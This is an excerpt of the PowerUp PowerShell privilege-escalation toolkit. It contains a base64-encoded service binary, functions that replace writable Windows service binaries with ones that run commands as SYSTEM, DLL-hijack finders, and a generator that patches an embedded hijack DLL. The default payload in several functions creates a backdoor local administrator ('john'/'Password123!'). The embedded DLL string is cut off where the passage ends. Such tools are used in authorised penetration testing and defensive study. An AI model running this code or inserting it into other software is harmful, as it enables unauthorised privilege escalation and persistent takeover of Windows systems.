AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAA9jAG0AZAAuAGUAeABlAABwlQEkfW6TS5S/gwmLKZ5MAAiwP19/EdUKOgi3elxWGTTgiQMGEg0EIAEBAgMgAAEFIAEBHQ4DAAABBCABAQ4FIAEBEUkEIAEBCAMgAA4GAAISYQ4OBAABAQgDBwEOBgABAR0SBQgHAh0SBR0SBQwBAAdVcGRhdGVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE1AAApAQAkN2NhMWIzMmEtOWMzNy00MTViLWJkOWYtZGRmNDE5OWUxNmVjAAAMAQAHMS4wLjAuMAAAZQEAKS5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC4wLFByb2ZpbGU9Q2xpZW50AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZR8uTkVUIEZyYW1ld29yayA0IENsaWVudCBQcm9maWxlCAEAAgAAAAAACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAAAAA0zU/VQAAAAACAAAAWgAAAGxpAABsSwAAUlNEU96HoAZJqgNGhaplF41X24IDAAAAQzpcVXNlcnNcbGFiXERlc2t0b3BcVXBkYXRlcjJcVXBkYXRlclxvYmpceDg2XFJlbGVhc2VcVXBkYXRlci5wZGIAAADwaQAAAAAAAAAAAAAOagAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoAAAAAAAAAAAAAAAAAAAAAX0NvckV4ZU1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAAAgAACAGAAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAFAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAGgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACggAAAoAIAAAAAAAAAAAAAQIMAAOoBAAAAAAAAAAAAAKACNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAQAAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADcAQAAAQAwADAAMAAwADAANABiADAAAAA4AAgAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAVQBwAGQAYQB0AGUAcgAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAADgADAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAVQBwAGQAYQB0AGUAcgAuAGUAeABlAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA1AAAAQAAMAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAFUAcABkAGEAdABlAHIALgBlAHgAZQAAADAACAABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAVQBwAGQAYQB0AGUAcgAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4NCiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPg0KICAgIDxzZWN1cml0eT4NCiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) + + if ($PSBoundParameters['Command']) { + $ServiceCommand = $Command + } + else { + if ($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if ($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + } + + PROCESS { + + $TargetService = Get-Service -Name $Name + + # get the unicode byte conversions of all arguments + $Enc = [System.Text.Encoding]::Unicode + $ServiceNameBytes = $Enc.GetBytes($TargetService.Name) + $CommandBytes = $Enc.GetBytes($ServiceCommand) + + # patch all values in to their appropriate locations + for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) { + # service name offset = 2458 + $Binary[$i+2458] = $ServiceNameBytes[$i] + } + for ($i=0; $i -lt ($CommandBytes.Length); $i++) { + # cmd offset = 2535 + $Binary[$i+2535] = $CommandBytes[$i] + } + + Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'Command' $ServiceCommand + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary') + $Out + } +} + + +function Install-ServiceBinary { +<# +.SYNOPSIS + +Replaces the service binary for the specified service with one that executes +a specified command as SYSTEM. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary + +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline where the +current user can modify the associated service binary listed in the binPath. Backs up +the original service binary to "OriginalService.exe.bak" in service binary location, +and then uses Write-ServiceBinary to create a C# service binary that either adds +a local administrator user or executes a custom command. The new service binary is +replaced in the original service binary path, and a custom object is returned that +captures the original and new service binary configuration. + +.PARAMETER Name + +The service name the EXE will be running under. + +.PARAMETER UserName + +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +.PARAMETER Password + +The password to set for the added user. If not given, it defaults to "Password123!" + +.PARAMETER LocalGroup + +Local group name to add the user to (default of 'Administrators'). + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object specifying the user/password to add. + +.PARAMETER Command + +Custom command to execute instead of user creation. + +.EXAMPLE + +Install-ServiceBinary -Name VulnSVC + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +.EXAMPLE + +Get-Service VulnSVC | Install-ServiceBinary + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +.EXAMPLE + +Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds TESTLAB\john to the Administrators local group. + +.EXAMPLE + +Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (backdoor/Password123!). + +.EXAMPLE + +Install-ServiceBinary -Name VulnSVC -Command "net ..." + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that executes a custom command. + +.OUTPUTS + +PowerUp.ServiceBinary.Installed +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.ServiceBinary.Installed')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String] + [ValidateNotNullOrEmpty()] + $Name, + + [String] + $UserName = 'john', + + [String] + $Password = 'Password123!', + + [String] + $LocalGroup = 'Administrators', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [String] + [ValidateNotNullOrEmpty()] + $Command + ) + + BEGIN { + if ($PSBoundParameters['Command']) { + $ServiceCommand = $Command + } + else { + if ($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if ($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + } + + PROCESS { + $TargetService = Get-Service -Name $Name -ErrorAction Stop + $ServiceDetails = $TargetService | Get-ServiceDetail + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal + + if (-not $ModifiableFiles) { + throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." + } + + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath + $BackupPath = "$($ServicePath).bak" + + Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" + + try { + Copy-Item -Path $ServicePath -Destination $BackupPath -Force + } + catch { + Write-Warning "Error backing up '$ServicePath' : $_" + } + + $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath + $Result | Add-Member Noteproperty 'BackupPath' $BackupPath + $Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed') + $Result + } +} + + +function Restore-ServiceBinary { +<# +.SYNOPSIS + +Restores a service binary backed up by Install-ServiceBinary. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath + +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and +checks for the existence of an "OriginalServiceBinary.exe.bak" in the service +binary location. If it exists, the backup binary is restored to the original +binary path. + +.PARAMETER Name + +The service name to restore a binary for. + +.PARAMETER BackupPath + +Optional manual path to the backup binary. + +.EXAMPLE + +Restore-ServiceBinary -Name VulnSVC + +Restore the original binary for the service 'VulnSVC'. + +.EXAMPLE + +Get-Service VulnSVC | Restore-ServiceBinary + +Restore the original binary for the service 'VulnSVC'. + +.EXAMPLE + +Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' + +Restore the original binary for the service 'VulnSVC' from a custom location. + +.OUTPUTS + +PowerUp.ServiceBinary.Installed +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ServiceBinary.Restored')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String] + [ValidateNotNullOrEmpty()] + $Name, + + [Parameter(Position = 1)] + [ValidateScript({Test-Path -Path $_ })] + [String] + $BackupPath + ) + + PROCESS { + $TargetService = Get-Service -Name $Name -ErrorAction Stop + $ServiceDetails = $TargetService | Get-ServiceDetail + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal + + if (-not $ModifiableFiles) { + throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." + } + + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath + $BackupPath = "$($ServicePath).bak" + + Copy-Item -Path $BackupPath -Destination $ServicePath -Force + Remove-Item -Path $BackupPath -Force + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored') + $Out + } +} + + +######################################################## +# +# DLL Hijacking +# +######################################################## + +function Find-ProcessDLLHijack { +<# +.SYNOPSIS + +Finds all DLL hijack locations for currently running processes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates all currently running processes with Get-Process (or accepts an +input process object from Get-Process) and enumerates the loaded modules for each. +All loaded module name exists outside of the process binary base path, as those +are DLL load-order hijack candidates. + +.PARAMETER Name + +The name of a process to enumerate for possible DLL path hijack opportunities. + +.PARAMETER ExcludeWindows + +Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + +.PARAMETER ExcludeProgramFiles + +Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + +.PARAMETER ExcludeOwned + +Exclude processes the current user owns. + +.EXAMPLE + +Find-ProcessDLLHijack + +Finds possible hijackable DLL locations for all processes. + +.EXAMPLE + +Get-Process VulnProcess | Find-ProcessDLLHijack + +Finds possible hijackable DLL locations for the 'VulnProcess' processes. + +.EXAMPLE + +Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles + +Finds possible hijackable DLL locations not in C:\Windows\* and +not in C:\Program Files\* or C:\Program Files (x86)\* + +.EXAMPLE + +Find-ProcessDLLHijack -ExcludeOwned + +Finds possible hijackable DLL location for processes not owned by the +current user. + +.OUTPUTS + +PowerUp.HijackableDLL.Process + +.LINK + +https://www.mandiant.com/blog/malware-persistence-windows-registry/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.HijackableDLL.Process')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessName')] + [String[]] + $Name = $(Get-Process | Select-Object -Expand Name), + + [Switch] + $ExcludeWindows, + + [Switch] + $ExcludeProgramFiles, + + [Switch] + $ExcludeOwned + ) + + BEGIN { + # the known DLL cache to exclude from our findings + # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx + $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") + $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith(".dll") } + $KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith(".dll") } + $KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }} + $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name + + # get the owners for all processes + $Owners = @{} + Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } + } + + PROCESS { + + ForEach ($ProcessName in $Name) { + + $TargetProcess = Get-Process -Name $ProcessName + + if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) { + + try { + $BasePath = $TargetProcess.Path | Split-Path -Parent + $LoadedModules = $TargetProcess.Modules + $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] + + ForEach ($Module in $LoadedModules){ + + $ModulePath = "$BasePath\$($Module.ModuleName)" + + # if the module path doesn't exist in the process base path folder + if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + + $Exclude = $False + + if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + $Exclude = $True + } + + if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + $Exclude = $True + } + + if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + $Exclude = $True + } + + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName + $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path + $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner + $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process') + $Out + } + } + } + } + catch { + Write-Verbose "Error: $_" + } + } + } + } +} + + +function Find-PathDLLHijack { +<# +.SYNOPSIS + +Finds all directories in the system %PATH% that are modifiable by the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +.DESCRIPTION + +Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath +to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is +written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search +order loading. + +.EXAMPLE + +Find-PathDLLHijack + +Finds all %PATH% .DLL hijacking opportunities. + +.OUTPUTS + +PowerUp.HijackableDLL.Path + +.LINK + +http://www.greyhathacker.net/?p=738 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.HijackableDLL.Path')] + [CmdletBinding()] + Param() + + # use -Literal so the spaces in %PATH% folders are not tokenized + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + $TargetPath = $_ + $ModifidablePaths = $TargetPath | Get-ModifiablePath -Literal | Where-Object {$_ -and ($Null -ne $_) -and ($Null -ne $_.ModifiablePath) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach ($ModifidablePath in $ModifidablePaths) { + if ($Null -ne $ModifidablePath.ModifiablePath) { + $ModifidablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifidablePath | Add-Member Aliasproperty Name '%PATH%' + $ModifidablePath.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Path') + $ModifidablePath + } + } + } +} + + +function Write-HijackDll { +<# +.SYNOPSIS + +Patches in the path to a specified .bat (containing the specified command) into a +pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +First builds a self-deleting .bat file that executes the specified -Command or local user, +to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled +C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for +x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then +written out to the specified OutputFile. + +.PARAMETER DllPath + +File name to write the generated DLL out to. + +.PARAMETER Architecture + +The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp +will try to automatically determine the correct architecture. + +.PARAMETER BatPath + +Path to the .bat for the DLL to launch. + +.PARAMETER UserName + +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +.PARAMETER Password + +The password to set for the added user. If not given, it defaults to "Password123!" + +.PARAMETER LocalGroup + +Local group name to add the user to (default of 'Administrators'). + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object specifying the user/password to add. + +.PARAMETER Command + +Custom command to execute instead of user creation. + +.OUTPUTS + +PowerUp.HijackableDLL +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.HijackableDLL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $DllPath, + + [String] + [ValidateSet('x86', 'x64')] + $Architecture, + + [String] + [ValidateNotNullOrEmpty()] + $BatPath, + + [String] + $UserName = 'john', + + [String] + $Password = 'Password123!', + + [String] + $LocalGroup = 'Administrators', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [String] + [ValidateNotNullOrEmpty()] + $Command + ) + + function local:Invoke-PatchDll { + <# + .SYNOPSIS + + Helpers that patches a string in a binary byte array. + + .PARAMETER DllBytes + + The binary blob to patch. + + .PARAMETER SearchString + + The string to replace in the blob. + + .PARAMETER ReplaceString + + The string to replace SearchString with. + #> + + [OutputType('System.Byte[]')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [Byte[]] + $DllBytes, + + [Parameter(Mandatory = $True)] + [String] + $SearchString, + + [Parameter(Mandatory = $True)] + [String] + $ReplaceString + ) + + $ReplaceStringBytes = ([System.Text.Encoding]::UTF8).GetBytes($ReplaceString) + + $Index = 0 + $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) + $Index = $S.IndexOf($SearchString) + + if ($Index -eq 0) { + throw("Could not find string $SearchString !") + } + + for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) { + $DllBytes[$Index+$i]=$ReplaceStringBytes[$i] + } + + return $DllBytes + } + + if ($PSBoundParameters['Command']) { + $BatCommand = $Command + } + else { + if ($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if ($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $BatCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + + # generate with base64 -w 0 hijack32.dll > hijack32.b64 + $DllBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA4hlvqfOc1uXznNbl85zW5Z3qeuWXnNblnequ5cuc1uWd6n7k+5zW5dZ+muXvnNbl85zS5O+c1uWd6mrl/5zW5Z3qouX3nNblSaWNofOc1uQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQUANgBCVgAAAAAAAAAA4AACIQsBCgAATAAAAEoAAAAAAABcEwAAABAAAABgAAAAAAAQABAAAAACAAAFAAEAAAAAAAUAAQAAAAAAANAAAAAEAACH7wAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAHIQAAFAAAAAAsAAAtAEAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsIAAAEAAAAAAAAAAAAAAAABgAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABMSwAAABAAAABMAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABCoAAABgAAAALAAAAFAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAHwZAAAAkAAAAAwAAAB8AAAAAAAAAAAAAAAAAABAAADALnJzcmMAAAC0AQAAALAAAAACAAAAiAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAArg8AAADAAAAAEAAAAIoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsIKEAkAAQM8WJRfyNRehQaP8BDwD/FRhgABBQ/xUIYAAQhcB1BTPAQOtTjUXgUGgggAAQagD/FQRgABCFwHTmi0XgagCJRfCLReRqAGoQiUX0jUXsUGoA/3Xox0XsAQAAAMdF+AIAAAD/FQBgABCFwHSz/3Xo/xUQYAAQM8CLTfwzzehcAAAAycNWizUUYAAQaPoAAAD/1uhf////hcB1H1BQaDiAABBojIAAEGiogAAQUP8V+GAAEGjoAwAA/9YzwF7DVYvsaAQBAADoIgAAAItFDEhZdQXorf///zPAQF3CDAA7DQCQABB1AvPD6YgCAACL/1WL7F3p0gMAAGoIaACCABDo8hMAAItFDIP4AXV66KYTAACFwH